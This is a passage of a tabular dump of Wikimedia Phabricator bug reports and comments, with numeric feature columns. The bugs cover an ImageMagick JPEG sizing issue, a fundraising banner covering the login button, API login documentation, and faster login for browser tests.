I've tested on both old image magick, and 6.8.9-3",,,1414260582,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,11.0,4.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.043478260869565,0.8478260869565217,"Appears to be bug in image magick about how it gives size hints to libjpeg.

example test case:

convert -define 'jpeg:size=118x70' End-of-the-world-Stephen-Hawking-god-particle-Higgs-boson-508102.jpg  out.jpg

I've tested on both old image magick, and 6.8.9-3"
74013,Can't see or click login button due to fundraising banner,"Trying to click the login button with a fundraising banner in my way

The image speaks by itself.

Yes, if I know there is a register/login button I can move the cursor away and then back, but this doesn't help anything.

P.s.: Yes, the banner as a whole takes more space than is available for the article (T108256). I guess that's a milestone too.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC

**Attached**: {F15045}",Low,25.0,1413268380,1510237483.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-TASK-3zvnakisitc6ddoo67vb,task_description,invalid,True,c3,1,True,False,False,-38,True,0.0,0.5,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.5,2.5,0.5,3.0,4.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,5.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,12.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,5.0,1.5,11.5,0.5,1.0,6.5,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,3.0,4.5,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.5,0.5,0.5,0.5,0.0,0.0,3.2698412698412698,0.6587301587301587,"Trying to click the login button with a fundraising banner in my way

The image speaks by itself.

Yes, if I know there is a register/login button I can move the cursor away and then back, but this doesn't help anything.

P.s.: Yes, the banner as a whole takes more space than is available for the article (T108256). I guess that's a milestone too.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC

**Attached**: {F15045}"
961866,Can't see or click login button due to fundraising banner,This ticket is from 2014. We probably don't even use that particular banner anymore. Can be reopened if the issue is encountered again.,,,1510237483,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,3,True,,,123,True,0.0,0.0,0.0,7.0,4.0,4.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,19.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,11.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.185185185185185,0.8888888888888888,This ticket is from 2014. We probably don't even use that particular banner anymore. Can be reopened if the issue is encountered again.
549858,Can't see or click login button due to fundraising banner,I'm not sure how this task is low priority.,,,1445447223,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,1.0,I'm not sure how this task is low priority.
549602,Can't see or click login button due to fundraising banner,Should this be blocked on something about fullscreen banners?,,,1445413988,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,3,True,,,15,True,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.3,1.0,Should this be blocked on something about fullscreen banners?
333626,Can't see or click login button due to fundraising banner,"LOL, even https://archive.today/TSorY does ""better"", one can see the buttons in transparency.",,,1417029913,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.411764705882353,0.8823529411764706,"LOL, even URL does ""better"", one can see the buttons in transparency."
326729,Can't see or click login button due to fundraising banner,"(In reply to Peter Coombe from comment #5)
> suggestions for a better
> way to do it are always welcome.

* Not using the full width, so that the login button isn't covered.
* Dismissing upon click.
* Using some transparency so that the button is partly visible behind the banner.
* Pushing the page down so that everything is visible below the banner.
* Uncollapse towards the top rather than the bottom, by covering part of the banner rather than the content and personal tools.",,,1416314211,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-33,True,1.0,1.0,0.0,1.0,2.0,4.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,5.0,19.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,11.0,7.0,1.0,12.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.851063829787234,0.6170212765957447,"(In reply to Peter Coombe from comment #5)
QUOTE
QUOTE

* Not using the full width, so that the login button isn't covered.
* Dismissing upon click.
* Using some transparency so that the button is partly visible behind the banner.
* Pushing the page down so that everything is visible below the banner.
* Uncollapse towards the top rather than the bottom, by covering part of the banner rather than the content and personal tools."
326723,Can't see or click login button due to fundraising banner,"That part of the banner only appears when a user's cursor is over the banner. It is the most unobtrusive way we've found to present the information which we are legally obliged to display to donors. The alternatives are to always show it, and make the whole banner bigger by default. Or we can add extra space below the banner so that it never covers the log in links, at which point people will complain that we are wasting space. I'm going to close this as WONTFIX, although suggestions for a better way to do it are always welcome.

As for the overall size, it looks like you're using a browser width of 1024px. Estimates are that only around 6% of users have their browser at or below this size, but I'll see if we can add some media queries to reduce the font-size for them. You also seem to be overriding font settings, which is making the banner appear larger than it would normally.",,,1416313334,,PHID-USER-grgqimagqq3ankitlzm5,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-33,True,0.5,0.0,0.0,0.5,0.0,5.5,2.5,0.0,0.5,0.5,1.5,2.0,0.0,1.0,0.0,3.5,0.5,5.0,16.5,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.5,1.5,1.0,1.5,0.0,8.0,2.0,3.0,1.5,1.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,15.5,0.0,2.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.5,0.5,0.0,0.0,7.0,4.5,5.0,3.5,2.0,11.0,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,9.0,16.5,1.0,0.0,0.0,0.0,9.0,0.0,2.0,1.5,0.5,2.5,1.5,0.5,0.0,3.867021276595745,0.7446808510638298,"That part of the banner only appears when a user's cursor is over the banner. It is the most unobtrusive way we've found to present the information which we are legally obliged to display to donors. The alternatives are to always show it, and make the whole banner bigger by default. Or we can add extra space below the banner so that it never covers the log in links, at which point people will complain that we are wasting space. I'm going to close this as WONTFIX, although suggestions for a better way to do it are always welcome.

As for the overall size, it looks like you're using a browser width of 1024px. Estimates are that only around 6% of users have their browser at or below this size, but I'll see if we can add some media queries to reduce the font-size for them. You also seem to be overriding font settings, which is making the banner appear larger than it would normally."
326717,Can't see or click login button due to fundraising banner,Thanks Nemo! Added info to https://www.mediawiki.org/w/index.php?title=Bug_management%2FHow_to_triage&diff=1241213&oldid=1041070,,,1414415751,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,57.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,Thanks Nemo! Added info to URL
326712,Can't see or click login button due to fundraising banner,"(In reply to Andre Klapper from comment #2)
> Hmm, what was the URL parameter to enforce showing that banner...

?force=1&banner=$name. Names can be retrieved from the banners associated to active (green) campaigns at [[m:Special:CentralNotice]]. Oh, there's even an ""on-wiki preview"" link now from [[m:Special:CentralNoticeBanners]] and individual banner pages.",,,1413369387,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,14.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,11.0,7.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.0,3.732394366197183,0.7323943661971831,"(In reply to Andre Klapper from comment #2)
QUOTE

?force=1&banner=$name. Names can be retrieved from the banners associated to active (green) campaigns at [[m:Special:CentralNotice]]. Oh, there's even an ""on-wiki preview"" link now from [[m:Special:CentralNoticeBanners]] and individual banner pages."
326707,Can't see or click login button due to fundraising banner,"Hmm, what was the URL parameter to enforce showing that banner...",,,1413368730,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,4.230769230769231,1.0,"Hmm, what was the URL parameter to enforce showing that banner..."
326705,Can't see or click login button due to fundraising banner,Please provide browser information for such rendering issues...,,,1413283668,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.222222222222222,1.0,Please provide browser information for such rendering issues...
73638,API description of login action is misleading,"The help for action=login says
""Log in and get the authentication tokens. In the event of a successful log-in, a cookie will be attached to your session. ...""

In fact, the first API result contains ONE token, and then if you provide this token and login is successful, you get a sessionid back in the API response, and the HTTP response header sets three cookies:
  <cookieprefix>UserID
  <cookieprefix>UserName
  <cookieprefix>Token, set to the sessionid in the API result

these all expire in a month, none is a session cookie.

A better description for includes/api/ApiLogin.php might be

  Log in and get sessionid and browser cookies.
  A successful login returns a session ID and its HTTP response header sets wiki cookies identifying the user.
  ...

Even this might vary with wiki configuration.

--------------------------
**Version**: unspecified
**Severity**: trivial",Low,25.0,1412401740,1413900164.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-emiayc7dr5vu2ovs6mla,task_description,resolved,True,c3,1,False,False,True,-39,True,0.5,0.0,0.0,0.5,0.0,6.0,1.0,0.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,7.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.5,5.0,0.0,0.5,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,17.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.5,2.0,11.0,0.5,3.5,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,2.0,7.5,3.5,0.0,1.0,0.0,2.0,0.0,0.0,4.0,0.0,0.5,0.5,0.0,1.5,4.005263157894737,0.6578947368421053,"The help for action=login says
""Log in and get the authentication tokens. In the event of a successful log-in, a cookie will be attached to your session. ...""

In fact, the first API result contains ONE token, and then if you provide this token and login is successful, you get a sessionid back in the API response, and the HTTP response header sets three cookies:
  <cookieprefix>UserID
  <cookieprefix>UserName
  <cookieprefix>Token, set to the sessionid in the API result

these all expire in a month, none is a session cookie.

A better description for includes/api/ApiLogin.php might be

  Log in and get sessionid and browser cookies.
  A successful login returns a session ID and its HTTP response header sets wiki cookies identifying the user.
  ...

Even this might vary with wiki configuration.

--------------------------
**Version**: unspecified
**Severity**: trivial"
322153,API description of login action is misleading,"**gerritadmin** wrote:

Change 162960 merged by jenkins-bot:
API: Internationalize all remaining core API modules

https://gerrit.wikimedia.org/r/162960",,,1413841282,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-emiayc7dr5vu2ovs6mla,task_subcomment,,True,c3,1,False,,,-37,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.222222222222222,0.7407407407407407,"**gerritadmin** wrote:

Change 162960 merged by jenkins-bot:
API: Internationalize all remaining core API modules

GERRIT_URL"
322148,API description of login action is misleading,"**gerritadmin** wrote:

Change 162960 had a related patch set uploaded by Anomie:
API: Internationalize all remaining core API modules

https://gerrit.wikimedia.org/r/162960",,,1412608784,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-emiayc7dr5vu2ovs6mla,task_subcomment,,True,c3,1,False,,,-39,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.333333333333333,0.7666666666666667,"**gerritadmin** wrote:

Change 162960 had a related patch set uploaded by Anomie:
API: Internationalize all remaining core API modules

GERRIT_URL"
322143,API description of login action is misleading,"It's not like the client can reliably do anything useful with the returned session ID, since $wgSessionName isn't indicated and CentralAuth changes things too. It's probably better to just say that the needed cookies are returned in the HTTP response and leave details for https://www.mediawiki.org/wiki/API:Login.",,,1412608671,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-emiayc7dr5vu2ovs6mla,task_subcomment,,True,c3,1,True,,,-39,True,0.0,2.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,14.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,14.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.549019607843137,0.8627450980392157,"It's not like the client can reliably do anything useful with the returned session ID, since $wgSessionName isn't indicated and CentralAuth changes things too. It's probably better to just say that the needed cookies are returned in the HTTP response and leave details for URL"
73635,"QA: implement ""login to <PAGE>"" to speed up browser tests","Many tests follow ""I am logged in"" with ""visit FlowPage"", ""I navigate to Upload Wizard"", ""I visit the User page of Selenium_user2"", etc.  In these cases Special:UserLogin's default behavior of loading the Main_Page upon successful login is a waste of precious time.

MediaWiki has already solved this for human beings. Clients can pass ?returnto=Some_wiki_page to Special:UserLogin so that upon successful login the user is redirected to Some_wiki_page.  It's what the _Log in_ link on every wiki page does, as you can see if you hover over it and note its URL.

For example, http://en.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin?returnto=Talk:Flow_QA

We could expose this as
   Given I am logged in to <PAGE>
in tests.  mediawiki_selenium/step_definitions/login_steps.rb would need to recognize the presence of this optional parameter and append ?returnto=URLEncode(pageName) to LoginPage

I would prototype this but I don't know where the visit() function is defined or documented in our webdriver-selenium-watir-cheezy-cucumber stack.

Is using 
  on(APIPage).client.log_in(ENV[""MEDIAWIKI_USER""], ENV[""MEDIAWIKI_PASSWORD""])
another alternative?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1412399160,1446481439.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-bbslpslr34ubdiik5vii,task_description,resolved,True,c3,1,False,False,False,-39,True,0.6666666666666666,0.0,0.0,1.3333333333333333,0.3333333333333333,3.0,0.3333333333333333,0.0,0.0,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,3.0,0.0,1.3333333333333333,9.666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,5.0,1.3333333333333333,1.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,14.333333333333334,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,2.3333333333333335,12.666666666666666,2.0,1.6666666666666667,5.0,0.0,0.0,0.0,0.0,4.333333333333333,0.0,0.3333333333333333,0.0,5.0,9.666666666666666,5.0,1.3333333333333333,3.6666666666666665,0.0,5.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,4.2368143459915615,0.7530063291139241,"Many tests follow ""I am logged in"" with ""visit FlowPage"", ""I navigate to Upload Wizard"", ""I visit the User page of Selenium_user2"", etc.  In these cases Special:UserLogin's default behavior of loading the Main_Page upon successful login is a waste of precious time.

MediaWiki has already solved this for human beings. Clients can pass ?returnto=Some_wiki_page to Special:UserLogin so that upon successful login the user is redirected to Some_wiki_page.  It's what the _Log in_ link on every wiki page does, as you can see if you hover over it and note its URL.

For example, URL

We could expose this as
   Given I am logged in to <PAGE>
in tests.  mediawiki_selenium/step_definitions/login_steps.rb would need to recognize the presence of this optional parameter and append ?returnto=URLEncode(pageName) to LoginPage

I would prototype this but I don't know where the visit() function is defined or documented in our webdriver-selenium-watir-cheezy-cucumber stack.

Is using 
  on(APIPage).client.log_in(ENV[""MEDIAWIKI_USER""], ENV[""MEDIAWIKI_PASSWORD""])
another alternative?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
556461,"QA: implement ""login to <PAGE>"" to speed up browser tests","Browser tests can now log in via the API, making it really fast. Please reopen the task if there is something else left to do here.",,,1446481439,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-bbslpslr34ubdiik5vii,task_subcomment,,True,c3,3,True,,,17,True,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,17.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6551724137931036,0.9310344827586207,"Browser tests can now log in via the API, making it really fast. Please reopen the task if there is something else left to do here."
322028,"QA: implement ""login to <PAGE>"" to speed up browser tests","(In reply to spage from comment #1)
> (In reply to spage from comment #0)
> > Is using 
> >   on(APIPage).client.log_in(ENV[""MEDIAWIKI_USER""], ENV[""MEDIAWIKI_PASSWORD""])
> > another alternative?
> 
> This doesn't work.  The mediawiki_api module issues its own HTTP requests
> from Ruby. So the cookies it gets back aren't set in the browser under test,
> it only uses them in subsequent API calls. You'd have to tell the browser to
> make the API POST, or ""push"" the cookies from the API response into the
> WebDriver session.

Passing the cookies over from an API call is an interesting idea, assuming API sessions work in the same way interactive ones do. Of course, this should only be using in setup context (i.e. `Given`) but it would greatly reduce the overhead and fragility of tests that assume a logged-in state.",,,1412631418,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-bbslpslr34ubdiik5vii,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,18.0,0.0,2.0,8.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,11.0,10.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,1.0,3.6777777777777776,0.6777777777777778,"(In reply to spage from comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Passing the cookies over from an API call is an interesting idea, assuming API sessions work in the same way interactive ones do. Of course, this should only be using in setup context (i.e. CODE) but it would greatly reduce the overhead and fragility of tests that assume a logged-in state."
322021,"QA: implement ""login to <PAGE>"" to speed up browser tests","(In reply to spage from comment #0)
> Is using 
>   on(APIPage).client.log_in(ENV[""MEDIAWIKI_USER""], ENV[""MEDIAWIKI_PASSWORD""])
> another alternative?

This doesn't work.  The mediawiki_api module issues its own HTTP requests from Ruby. So the cookies it gets back aren't set in the browser under test, it only uses them in subsequent API calls. You'd have to tell the browser to make the API POST, or ""push"" the cookies from the API response into the WebDriver 